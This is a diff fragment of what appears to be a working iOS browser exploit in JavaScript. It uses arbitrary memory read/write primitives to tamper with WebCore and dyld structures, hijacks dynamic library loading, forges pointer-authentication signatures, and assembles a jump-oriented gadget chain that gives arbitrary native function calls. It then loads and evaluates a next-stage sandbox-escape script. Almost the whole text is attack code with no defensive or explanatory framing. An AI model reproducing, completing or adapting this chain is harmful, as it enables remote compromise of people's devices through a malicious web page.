ASSERT_NOT_REACHED(`Encoder.argumentAlignment(): unexpected type name: ${arg.type}`); + } + } + static argumentSize(arg) { + switch (arg.type) { + case 'uint64_t': + case 'int64_t': + return 8; + case 'uint32_t': + case 'int32_t': + case 'float': + return 4; + case 'uint16_t': + case 'int16_t': + return 2; + case 'uint8_t': + case 'int8_t': + case 'bool': + return 1; + case 'bytes': + if (typeof arg.value == 'string') { + return arg.value.length; + } else { + return arg.value.byteLength; + } + default: + ASSERT_NOT_REACHED(`argumentSize(): unexpected type name: ${arg.type}`); + } + } + buffer() { + if (this.__buffer) return this.__buffer; + let bufferSize = 0; + for (const arg of this.argList) { + const alignment = Encoder.argumentAlignment(arg); + const remainder = bufferSize % alignment; + if (remainder) { + bufferSize += alignment - remainder; + } + bufferSize += Encoder.argumentSize(arg); + } + const buffer = new ArrayBuffer(bufferSize); + const view = new DataView(buffer); + let bufferOffset = 0; + for (const arg of this.argList) { + const alignment = Encoder.argumentAlignment(arg); + const remainder = bufferOffset % alignment; + if (remainder) { + bufferOffset += alignment - remainder; + } + switch (arg.type) { + case 'float': + view.setFloat32(bufferOffset, arg.value, true); + break; + case 'uint64_t': + view.setBigUint64(bufferOffset, arg.value, true); + break; + case 'int64_t': + view.setBigInt64(bufferOffset, arg.value, true); + break; + case 'uint32_t': + view.setUint32(bufferOffset, arg.value, true); + break; + case 'int32_t': + view.setInt32(bufferOffset, arg.value, true); + break; + case 'uint16_t': + view.setUint16(bufferOffset, arg.value, true); + break; + case 'int16_t': + view.setInt16(bufferOffset, arg.value, true); + break; + case 'uint8_t': + view.setUint8(bufferOffset, arg.value); + break; + case 'int8_t': + view.setInt8(bufferOffset, arg.value); + break; + case 'bool': + view.setInt8(bufferOffset, !!arg.value); + break; + case 'bytes': + const buffer_u8 = new Uint8Array(buffer); + if (typeof arg.value == 'string') { + for (let i = 0; i < arg.value.length; ++i) buffer_u8[bufferOffset + i] = arg.value.charCodeAt(i); + } else { + for (let i = 0; i < arg.value.byteLength; ++i) buffer_u8[bufferOffset + i] = arg.value[i]; + } + break; + default: + ASSERT_NOT_REACHED(`buffer(): unexpected type name: ${arg.type}`); + } + bufferOffset += Encoder.argumentSize(arg); + } + return this.__buffer = buffer; + } + }; + ArrayBuffer.prototype.data = function () { + return p.read64(p.read64(p.addrof(this) + 0x10n) + 0x10n); + }; + BigUint64Array.prototype.data = function () { + return p.read64(p.addrof(this) + 0x10n); + }; + Uint8Array.prototype.data = function () { + return p.read64(p.addrof(this) + 0x10n); + }; + async function loadObjcClass(cls) { + const bitmap = await createImageBitmap(canvas); + const wrappedBitmap = p.read64(p.addrof(bitmap) + 0x18n); + const imagebuffer = p.read64(wrappedBitmap + 0x10n); + p.write64(imagebuffer + 0x20n, cls); + bitmap.close(); + } + let slow_fcall_resolve; + self.onmessage = async function (e) { + const data = e.data; + switch (data.type) { + case 'dlopen_workers_prepared': + { + print("dlopen prepared from worker"); + const { + offsets + } = p; + const contexts = p.read64(offsets.WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts); + print(`contexts: ${contexts.hex()}`); + const contexts_length = p.read64(contexts - 8n) >> 32n; + print(`contexts_length: ${contexts_length.hex()}`); + const dlopen_workers = []; + p.dlopen_workers = dlopen_workers; + for (let i = 0n; i < contexts_length; ++i) { + const ptr = contexts + i * 0x30n; + const key = p.read64(ptr); + if (!key) continue; + const context = p.read64(ptr + 0x20n); + const vtable = p.read64(context).noPAC(); + if (vtable != offsets.WebCore__DedicatedWorkerGlobalScope_vtable) continue; + const script = p.read64(context + 0x150n); + const workerOrWorkletThread = p.read64(context + 0x160n); + const thread = p.read64(workerOrWorkletThread + 0x28n); + const Strong_globalScopeWrapper = p.read64(script + 0x20n); + const globalScopeWrapper = p.read64(Strong_globalScopeWrapper); + const butterfly = p.read64(globalScopeWrapper + 8n); + const id = p.read64(butterfly); + const bitmap = p.read64(butterfly + 8n); + if (id == 0xfffe000011111111n || id == 0xfffe000022222222n) { + p.dlopen_workers.push({ + thread: thread, + id: id, + bitmap: bitmap + }); + } else if (id == 0xfffe000033333333n) { + p.sub_worker = { + thread: thread, + id: id + }; + } + } + const defaultLoader = p.read64(offsets.AXCoreUtilities__DefaultLoader); + print(`defaultLoader: ${defaultLoader.hex()}`); + if (defaultLoader) { + const paciza_nullfunc = p.read64(offsets.WebCore__softLinkDDDFACacheCreateFromFramework); + print(`paciza_nullfunc: ${paciza_nullfunc.hex()}`); + const dispatchSource = p.read64(defaultLoader + 0x18n); + print(`dispatchSource: ${dispatchSource.hex()}`); + const dispatchSomething = p.read64(dispatchSource + 0x58n); + print(`dispatchSomething: ${dispatchSomething.hex()}`); + const dispatchBlock = p.read64(dispatchSomething + 0x28n); + print(`dispatchBlock: ${dispatchBlock.hex()}`); + p.write64(dispatchBlock + 0x20n, paciza_nullfunc); + } + const classes = [offsets.TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker]; + for (let i = 0; i < 2; ++i) { + const worker = dlopen_workers[i]; + const wrappedBitmap = p.read64(worker.bitmap + 0x18n); + print(`wrappedBitmap: ${wrappedBitmap.hex()}`); + const imageBuffer = p.read64(wrappedBitmap + 0x10n); + print(`imageBuffer: ${imageBuffer.hex()}`); + p.write64(imageBuffer + 0x20n, classes[i]); + } + print('Load TextToSpeech'); + await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest); + print('TextToSpeech Loaded'); + const NSBundleTables = p.read64(offsets.Foundation__NSBundleTables_bundleTables_value); + print(`NSBundleTables: ${NSBundleTables.hex()}`); + const loadedFrameworks = p.read64(NSBundleTables + 0x20n); + print(`loadedFrameworks: ${loadedFrameworks.hex()}`); + const loadedFrameworks_length = p.read64(loadedFrameworks + 0x30n); + print(`loadedFrameworks_length: ${loadedFrameworks_length.hex()}`); + const loadedFrameworks_buffer = p.read64(loadedFrameworks + 8n); + print(`loadedFrameworks_buffer: ${loadedFrameworks_buffer.hex()}`); + let TextToSpeech_NSBundle; + for (let i = 0n; i < loadedFrameworks_length; ++i) { + const bundle = p.read64(loadedFrameworks_buffer + 8n * i); + if (bundle <= 0x1_00000000n) continue; + print(`bundle[${i}]: ${bundle.hex()}`); + const initialPath = p.read64(bundle + 0x28n); + if (initialPath != offsets.AVFAudio__cfstr_SystemLibraryTextToSpeech) continue; + TextToSpeech_NSBundle = bundle; + break; + } + print(`TextToSpeech_NSBundle: ${TextToSpeech_NSBundle.hex()}`); + const TextToSpeech_CFBundle = p.read64(TextToSpeech_NSBundle + 0x10n); + print(`TextToSpeech_CFBundle: ${TextToSpeech_CFBundle.hex()}`); + p.TextToSpeech_NSBundle = TextToSpeech_NSBundle; + p.TextToSpeech_CFBundle = TextToSpeech_CFBundle; + p.write64(TextToSpeech_NSBundle + 8n, 0x40008n); + p.write8(TextToSpeech_CFBundle + 0x34n, 0n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libARI_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x15n); + p.write64(TextToSpeech_CFBundle + 0x68n, offsets.CFNetwork__gConstantCFStringValueTable); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); + self.postMessage({ + 'type': 'trigger_dlopen1' + }); + break; + } + case 'check_dlopen1': + { + const { + offsets + } = p; + const worker = p.dlopen_workers.find(worker => worker.id == 0xfffe000011111111n); + print(`worker.thread: ${worker.thread.hex()}`); + const runtimeState = p.read64(offsets.libdyld__gAPIs); + p.runtimeState = runtimeState; + print(`runtimeState: ${runtimeState.hex()}`); + const runtimeState_vtable = p.read64(runtimeState).noPAC(); + print(`runtimeState_vtable: ${runtimeState_vtable.hex()}`); + const dyld_emptySlot = p.read64(runtimeState_vtable).noPAC(); + print(`dyld_emptySlot: ${dyld_emptySlot.hex()}`); + const runtimeStateLock = p.read64(runtimeState + 0x70n); + print(`runtimeStateLock: ${runtimeStateLock.hex()}`); + p.runtimeStateLock = runtimeStateLock; + const p_InterposeTupleAll_buffer = runtimeState + 0xb8n; + p.p_InterposeTupleAll_buffer = p_InterposeTupleAll_buffer; + const p_InterposeTupleAll_size = runtimeState + 0xc0n; + p.p_InterposeTupleAll_size = p_InterposeTupleAll_size; + print(`p_InterposeTupleAll_buffer: ${p_InterposeTupleAll_buffer.hex()}`); + const stack_bottom = p.read64(worker.thread + 0x10n); + worker.stack_bottom = stack_bottom; + print(`stack_bottom: ${stack_bottom.hex()}`); + const stack_top = p.read64(worker.thread + 0x18n); + worker.stack_top = stack_top; + print(`stack_top: ${stack_top.hex()}`); + p.create_jsstring = function (ptr, size) { + const res = 'a'.repeat(8); + const str = p.read64(p.addrof(res) + 8n); + p.write64(str, size << 32n | 0x1000n); + p.write64(str + 8n, ptr); + return res; + }; + p.efficient_search = function (begin, end, bytes) { + const needle = String.fromCharCode(...bytes); + const finder = p.create_jsstring(begin, end - begin); + while (true) { + const index = finder.indexOf(needle); + if (index != -1) { + print(`index:${index}`); + return begin + BigInt(index); + } + } + }; + const dyld_offset = offsets.dyld__RuntimeState_emptySlot - dyld_emptySlot - p.slide; + print(`dyld_offset: ${dyld_offset.hex()}`); + p.dlopen_from_lambda_ret = offsets.dyld__dlopen_from_lambda_ret - p.slide - dyld_offset; + print(`p.dlopen_from_lambda_ret: ${p.dlopen_from_lambda_ret.hex()}`); + print(p.read64(p.dlopen_from_lambda_ret).hex()); + u64[0] = p.dlopen_from_lambda_ret; + const needle = [u8[0], u8[1], u8[2], u8[3]]; + const search_result = p.efficient_search(stack_top, stack_bottom, needle); + print(`search_result:${search_result.hex()}`); + const loader = search_result + 0x78n; + print(`loader:${loader.hex()}`); + const interposingTuples = new BigUint64Array(0x100 * 2); + p.interposingTuples = interposingTuples; + const interposingTuples_data_ptr = interposingTuples.data(); + print(`interposingTuples_data_ptr:${interposingTuples_data_ptr.hex()}`); + const prev_metadata = new BigUint64Array(4); + const prev_metadata_data_ptr = prev_metadata.data(); + p.prev_metadata = prev_metadata; + p.prev_metadata_data_ptr = prev_metadata_data_ptr; + print(`prev_metadata_data_ptr:${prev_metadata_data_ptr.hex()}`); + prev_metadata[0] = prev_metadata_data_ptr; + prev_metadata[1] = 1n; + const metadata = new BigUint64Array(4); + const metadata_data_ptr = metadata.data(); + print(`metadata_data_ptr:${metadata_data_ptr.hex()}`); + p.metadata1 = metadata; + metadata[0] = prev_metadata_data_ptr; + metadata[1] = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1n; + p.write64(loader, p_InterposeTupleAll_buffer - 0x10n); + p.write64(loader + 8n, metadata_data_ptr + 0x10n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); + p.write64(p.runtimeStateLock + 0x20n, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.HOMEUI_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x3bn); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); + print(`going to load AVSpeechSynthesisVoice`); + await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice); + print(`succeeded to load`); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); + p.write64(runtimeStateLock + 0x20n, 0n); + p.write64(p.TextToSpeech_NSBundle + 8n, 0x40008n); + p.write8(p.TextToSpeech_CFBundle + 0x34n, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.PerfPowerServicesReader_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5bn); + self.postMessage({ + 'type': 'trigger_dlopen2' + }); + break; + } + case 'check_dlopen2': + { + const { + offsets + } = p; + print('check_dlopen2'); + const worker = p.dlopen_workers.find(worker => worker.id == 0xfffe000022222222n); + print(`worker.thread: ${worker.thread.hex()}`); + const stack_bottom = p.read64(worker.thread + 0x10n); + worker.stack_bottom = stack_bottom; + print(`stack_bottom: ${stack_bottom.hex()}`); + const stack_top = p.read64(worker.thread + 0x18n); + worker.stack_top = stack_top; + print(`stack_top: ${stack_top.hex()}`); + u64[0] = p.dlopen_from_lambda_ret; + const needle = [u8[0], u8[1], u8[2], u8[3]]; + const search_result = p.efficient_search(stack_top, stack_bottom, needle); + print(`search_result:${search_result.hex()}`); + const loader = search_result + 0x78n; + print(`loader:${loader.hex()}`); + const metadata = new BigUint64Array(4); + const metadata_data_ptr = metadata.data(); + print(`metadata_data_ptr:${metadata_data_ptr.hex()}`); + p.metadata1 = metadata; + metadata[0] = p.prev_metadata_data_ptr; + metadata[1] = metadata_data_ptr + 0x10n - 0x100n | 1n; + p.write64(loader, p.p_InterposeTupleAll_size - 0x10n); + p.write64(loader + 8n, metadata_data_ptr + 0x10n); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); + p.write64(p.runtimeStateLock + 0x20n, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libGPUCompilerImplLazy_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5en); + await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechUtterance); + let interpose_index = 0; + function interpose(ptr, val) { + p.interposingTuples[interpose_index++] = val; + p.interposingTuples[interpose_index++] = ptr; + } + interpose(offsets.MediaAccessibility__MACaptionAppearanceGetDisplayType, offsets.ImageIO__IIOLoadCMPhotoSymbols); + interpose(offsets.CMPhoto__kCMPhotoTranscodeOption_Strips, 0n); + interpose(offsets.CMPhoto__CMPhotoCompressionCreateContainerFromImageExt, offsets.libGPUCompilerImplLazy__invoker); + interpose(offsets.CMPhoto__CMPhotoCompressionCreateDataContainerFromImage, offsets.Security__SecKeychainBackupSyncable_block_invoke); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage, offsets.Security__SecOTRSessionProcessPacketRemote_block_invoke); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation, offsets.libdyld__dlopen); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddCustomMetadata, offsets.libdyld__dlsym); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddExif, offsets.dyld__signPointer); + while (p.read64(p.p_InterposeTupleAll_size) != 0x100n); + print('InterposeTupleAll.size has been written'); + const initMediaAccessibilityMACaptionAppearanceGetDisplayType = p.read64(offsets.WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType); + print(`initMediaAccessibilityMACaptionAppearanceGetDisplayType: ${initMediaAccessibilityMACaptionAppearanceGetDisplayType.hex()}`); + const paciza_PAL_initPKContact = p.read64(offsets.WebCore__PAL_getPKContactClass); + print(`paciza_PAL_initPKContact: ${paciza_PAL_initPKContact.hex()}`); + p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, initMediaAccessibilityMACaptionAppearanceGetDisplayType); + p.write64(offsets.ImageIO__gImageIOLogProc, paciza_PAL_initPKContact); + p.write64(offsets.WebCore__initPKContact_once, 0xffffffffffffffffn); + p.write64(offsets.WebCore__initPKContact_value, 0n); + self.postMessage({ + type: 'sign_pointers' + }); + break; + } + case 'setup_fcall': + { + const { + offsets + } = p; + const paciza_invoker = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt); + print(`paciza_invoker: ${paciza_invoker.hex()}`); + const paciza_security_invoker_1 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage); + print(`paciza_security_invoker_1: ${paciza_security_invoker_1.hex()}`); + const paciza_security_invoker_2 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage); + print(`paciza_security_invoker_2: ${paciza_security_invoker_2.hex()}`); + const paciza_dlopen = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation); + print(`paciza_dlopen: ${paciza_dlopen.hex()}`); + const paciza_dlsym = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata); + print(`paciza_dlsym: ${paciza_dlsym.hex()}`); + const paciza_signPointer = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddExif); + print(`paciza_signPointer: ${paciza_signPointer.hex()}`); + const gSecurityd = new BigUint64Array(0x100 / 8); + const gSecurityd_data_ptr = gSecurityd.data(); + p.write64(offsets.Security__gSecurityd, gSecurityd_data_ptr); + const slowFcallResult = new BigUint64Array(0x10 / 8); + const slowFcallResult_data_ptr = slowFcallResult.data(); + slowFcallResult[8 / 8] = slowFcallResult_data_ptr - 0x18n; + p.slowFcallResult = slowFcallResult; + const invoker_x0 = new BigUint64Array(0x58); + const invoker_x0_data_ptr = invoker_x0.data(); + const invoker_arg = new BigUint64Array(0x10); + const invoker_arg_data_ptr = invoker_arg.data(); + invoker_x0[0x20 / 8] = slowFcallResult_data_ptr; + invoker_arg[0 / 8] = paciza_security_invoker_1; + invoker_arg[8 / 8] = invoker_x0_data_ptr; + p.write64(offsets.WebCore__TelephoneNumberDetector_phoneNumbersScanner_value, invoker_arg_data_ptr); + p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, paciza_invoker); + function slow_fcall_1(pc, x0 = 0n, x1 = 0n, x2 = 0n) { + invoker_arg[0 / 8] = paciza_security_invoker_1; + gSecurityd[0x78 / 8] = pc; + invoker_x0[0x28 / 8] = x0; + invoker_x0[0x30 / 8] = x1; + invoker_x0[0x38 / 8] = x2; + return new Promise(r => { + slow_fcall_resolve = r; + self.postMessage({ + type: 'slow_fcall' + }); + }); + } + function slow_fcall_2(pc, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n) { + invoker_arg[0 / 8] = paciza_security_invoker_2; + gSecurityd[0xb8 / 8] = pc; + invoker_x0[0x28 / 8] = x0; + invoker_x0[0x30 / 8] = x1; + invoker_x0[0x38 / 8] = x2; + invoker_x0[0x40 / 8] = x3; + invoker_x0[0x48 / 8] = x4; + invoker_x0[0x50 / 8] = x5; + return new Promise(r => { + slow_fcall_resolve = r; + self.postMessage({ + type: 'slow_fcall' + }); + }); + } + const rope_resolver = []; + function resolve_rope(str) { + delete rope_resolver[str]; + } + function slow_dlopen(filename, flags) { + filename = filename + '\0'; + resolve_rope(filename); + const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n); + return slow_fcall_1(paciza_dlopen, name_ptr, flags); + } + function slow_dlsym(handle, symbol) { + symbol = symbol + '\0'; + resolve_rope(symbol); + const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n); + return slow_fcall_1(paciza_dlsym, handle, symbol_ptr); + } + const signPointer_self = new BigUint64Array(4); + const signPointer_self_addr = p.read64(p.addrof(signPointer_self) + 0x10n); + function slow_pacia(ptr, ctx) { + signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n; + return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr); + } + function slow_pacib(ptr, ctx) { + signPointer_self[0] = 0x80030000_00000000n | ctx >> 48n << 32n; + return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr); + } + const libsystem_pthread = await slow_dlopen('/usr/lib/system/libsystem_pthread.dylib', 1n); + print(`libsystem_pthread: ${libsystem_pthread.hex()}`); + const libsystem_malloc = await slow_dlopen("/usr/lib/system/libsystem_malloc.dylib", 0n); + print(`libsystem_malloc: ${libsystem_malloc.hex()}`); + const signed_pthread_create = await slow_dlsym(libsystem_pthread, 'pthread_create'); + offsets.pthread_create = signed_pthread_create.noPAC(); + print(`signed_pthread_create: ${signed_pthread_create.hex()}`); + const paciza_malloc = await slow_dlsym(libsystem_malloc, 'malloc'); + offsets.malloc = paciza_malloc.noPAC(); + print(`paciza_malloc: ${paciza_malloc.hex()}`); + const gadget_control_1 = offsets.gadget_control_1_ios184; + print(`gadget_control_1:${gadget_control_1.hex()}`); + const gadget_control_2 = offsets.gadget_control_2_ios184; + print(`gadget_control_2:${gadget_control_2.hex()}`); + const gadget_control_3 = offsets.gadget_control_3_ios184; + print(`gadget_control_3: ${gadget_control_3.hex()}`); + const gadget_loop_1 = offsets.gadget_loop_1_ios184; + print(`gadget_loop_1: ${gadget_loop_1.hex()}`); + const gadget_loop_2 = offsets.gadget_loop_2_ios184; + print(`gadget_loop_2: ${gadget_loop_2.hex()}`); + const gadget_loop_3 = offsets.gadget_loop_3_ios184; + print(`gadget_loop_3: ${gadget_loop_3.hex()}`); + const gadget_set_all_registers = offsets.gadget_set_all_registers_ios184; + print(`gadget_set_all_registers: ${gadget_set_all_registers.hex()}`); + const paciza_gadget_loop_1 = await slow_pacia(gadget_loop_1, 0n); + print(`paciza_gadget_loop_1: ${paciza_gadget_loop_1.hex()}`); + const paciza_gadget_loop_2 = await slow_pacia(gadget_loop_2, 0n); + print(`paciza_gadget_loop_2: ${paciza_gadget_loop_2.hex()}`); + const paciza_gadget_loop_3 = await slow_pacia(gadget_loop_3, 0n); + print(`paciza_gadget_loop_3: ${paciza_gadget_loop_3.hex()}`); + const paciza_gadget_control_2 = await slow_pacia(gadget_control_2, 0n); + print(`paciza_gadget_control_2: ${paciza_gadget_control_2.hex()}`); + const paciza_gadget_control_3 = await slow_pacia(gadget_control_3, 0n); + print(`paciza_gadget_control_3: ${paciza_gadget_control_3.hex()}`); + const paciza_gadget_control_3_4 = await slow_pacia(gadget_control_3 + 4n, 0n); + print(`paciza_gadget_control_3_4: ${paciza_gadget_control_3_4.hex()}`); + const paciza_gadget_set_all_registers = await slow_pacia(gadget_set_all_registers, 0n); + print(`paciza_gadget_set_all_registers: ${paciza_gadget_set_all_registers.hex()}`); + const jop_thread = new BigUint64Array(0x20 / 8); + const jop_thread_data_ptr = jop_thread.data(); + const x0_u64 = new BigUint64Array(0x20 / 8); + const x0 = x0_u64.data(); + x0_u64[8 / 8] = paciza_gadget_loop_3; + await slow_fcall_2(signed_pthread_create, jop_thread_data_ptr, 0n, paciza_gadget_loop_3, x0); + print('WebContent fcall thread has been spawned!!'); + const pthread_node = jop_thread[0]; + print(`pthread_node:${pthread_node.hex()}`); + const jop_stack_top = p.read64(pthread_node + 0xb8n); + print(`jop_stack_top:${jop_stack_top.hex()}`); + const jop_stack_bottom = jop_stack_top + 0x88000n; + print(`jop_stack_bottom:${jop_stack_bottom.hex()}`); + const x19_u64 = new BigUint64Array(0x500 / 8); + const x19_f64 = new Float64Array(x19_u64.buffer); + const x19 = x19_u64.data(); + print(`x19: ${x19.hex()}`); + const x22_u64 = new BigUint64Array(0x20 / 8); + const x22 = x22_u64.data(); + print(`x22: ${x22.hex()}`); + const x20_u64 = new BigUint64Array(0x30 / 8); + const x20 = x20_u64.data(); + print(`x20: ${x20.hex()}`); + const stack_u64 = new BigUint64Array(0x88000 / 8); + const stack = stack_u64.data(); + print(`stack: ${stack.hex()}`); + const paciza_gadget_control_1 = await slow_pacia(gadget_control_1, 0n); + print(`paciza_gadget_control_1: ${paciza_gadget_control_1.hex()}`); + const pacib_gadget_loop_1_0x80020 = await slow_pacib(gadget_loop_1, stack + 0x80020n); + print(`pacib_gadget_loop_1_0x80020: ${pacib_gadget_loop_1_0x80020.hex()}`); + const pacib_gadget_loop_1_0x800c0 = await slow_pacib(gadget_loop_1, stack + 0x800c0n); + print(`pacib_gadget_loop_1_0x800c0: ${pacib_gadget_loop_1_0x800c0.hex()}`); + const pacib_gadget_loop_2_0x80010 = await slow_pacib(gadget_loop_2, stack + 0x80010n); + print(`pacib_gadget_loop_2_0x80010: ${pacib_gadget_loop_2_0x80010.hex()}`); + const pacib_gadget_loop_2_0x800b0 = await slow_pacib(gadget_loop_2, stack + 0x800b0n); + print(`pacib_gadget_loop_2_0x800b0: ${pacib_gadget_loop_2_0x800b0.hex()}`); + const MAGIC = 123.456; + p.write64(jop_stack_bottom - 0x4fa0n, stack + 0x80000n); + p.write64(jop_stack_bottom - 0x4f98n, await slow_pacib(gadget_loop_1, jop_stack_top + 0x83070n)); + p.write64(jop_stack_bottom - 0x4fb0n, x20); + p.write64(jop_stack_bottom - 0x4fa8n, x19); + p.write64(jop_stack_bottom - 0x4fc0n, x22); + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x0_u64[8 / 8] = paciza_gadget_control_1; + while (x19_f64[0x20 / 8] === MAGIC); + stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + x19_u64[0 / 8] = paciza_gadget_control_2; + while (x19_f64[8 / 8] == MAGIC); + x20_u64[0x20 / 8] = paciza_malloc; + x20_u64[0x28 / 8] = 0n; + stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x20_u64[0x10 / 8] = paciza_gadget_control_3; + while (x19_f64[0x20 / 8] === MAGIC); + stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + x19_u64[0 / 8] = paciza_gadget_set_all_registers; + while (x19_f64[8 / 8] === MAGIC); + stack_u64[0x800b0 / 8] = stack + 0x80000n; + stack_u64[0x800b8 / 8] = pacib_gadget_loop_1_0x800c0; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x20_u64[0x10 / 8] = paciza_gadget_control_3_4; + while (x19_f64[0x20 / 8] === MAGIC); + const cache = new Map(); + const signPointer = paciza_signPointer.noPAC(); + cache.set(signPointer, paciza_signPointer); + function pacia(ptr, ctx) { + signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n; + return fcall(signPointer, signPointer_self_addr, ctx, ptr); + } + function fcall(pc, ...args) { + if (!cache.has(pc)) { + cache.set(pc, pacia(pc, 0n)); + } + const signed_pc = cache.get(pc); + stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + performance.now(); + x19_u64[0 / 8] = paciza_gadget_control_2; + while (x19_f64[8 / 8] === MAGIC); + x20_u64[0x20 / 8] = signed_pc; + x20_u64[0x28 / 8] = 0n; + stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + performance.now(); + x20_u64[0x10 / 8] = paciza_gadget_control_3; + while (x19_f64[0x20 / 8] === MAGIC); + for (let i = 0; i < args.length && i < 8; ++i) { + stack_u64[0x80098 / 8 - i] = args[i]; + } + stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + performance.now(); + x19_u64[0 / 8] = paciza_gadget_set_all_registers; + while (x19_f64[8 / 8] === MAGIC); + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + performance.now(); + x20_u64[0x10 / 8] = paciza_gadget_control_3_4; + while (x19_f64[0x20 / 8] === MAGIC); + return x19_u64[0x20 / 8]; + } + const unsigned_dlopen = paciza_dlopen.noPAC(); + const unsigned_dlsym = paciza_dlsym.noPAC(); + function dlopen(filename, flags) { + filename = filename + '\0'; + resolve_rope(filename); + const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n); + return fcall(unsigned_dlopen, name_ptr, flags); + } + p.dlopen = dlopen; + function dlsym(handle, symbol) { + symbol = symbol + '\0'; + resolve_rope(symbol); + const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n); + return fcall(unsigned_dlsym, handle, symbol_ptr); + } + p.dlsym = dlsym; + const libsystem_c = dlopen('/usr/lib/system/libsystem_c.dylib', 1n); + const fopen = dlsym(libsystem_c, 'fopen').noPAC(); + const fopen_mode_str = 'w'; + const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n); + function log(msg) { + // Mirror stage logs to local server via /api/ds/log (SERVER_LOG) + try { print(String(msg)); } catch (e) {} + if (true) { + const elapsed = parseInt(Date.now() - rce_begin); + const path = ("/(" + elapsed + ") ").padEnd(15) + msg.toString().replaceAll('/', '|') + '\0'; + resolve_rope(path); + const path_ptr = p.read64(p.read64(p.addrof(path) + 8n) + 8n); + fcall(fopen, path_ptr, fopen_mode_ptr); + } + } + offsets.libsystem_kernel__thread_terminate = p.slide + 0x1D3D6F244n; + function suspend_worker(worker) { + const port = p.read32(worker.thread + 0x34n); + return fcall(offsets.libsystem_kernel__thread_suspend, port); + } + for (const worker of p.dlopen_workers) { + suspend_worker(worker); + } + function fcall_close() { + x19_u64[0 / 8] = pacia(offsets.pthread_exit, 0n); + } + const rce_end = Date.now(); + log(`-`.repeat(0x28)); + try { + const sbx0_script = getJS('/sbx0_main_18.4.js'); + log("after get js"); + eval(sbx0_script); + } catch (e) { + print("sbx0 error: " + e); + } + fcall_close(); + 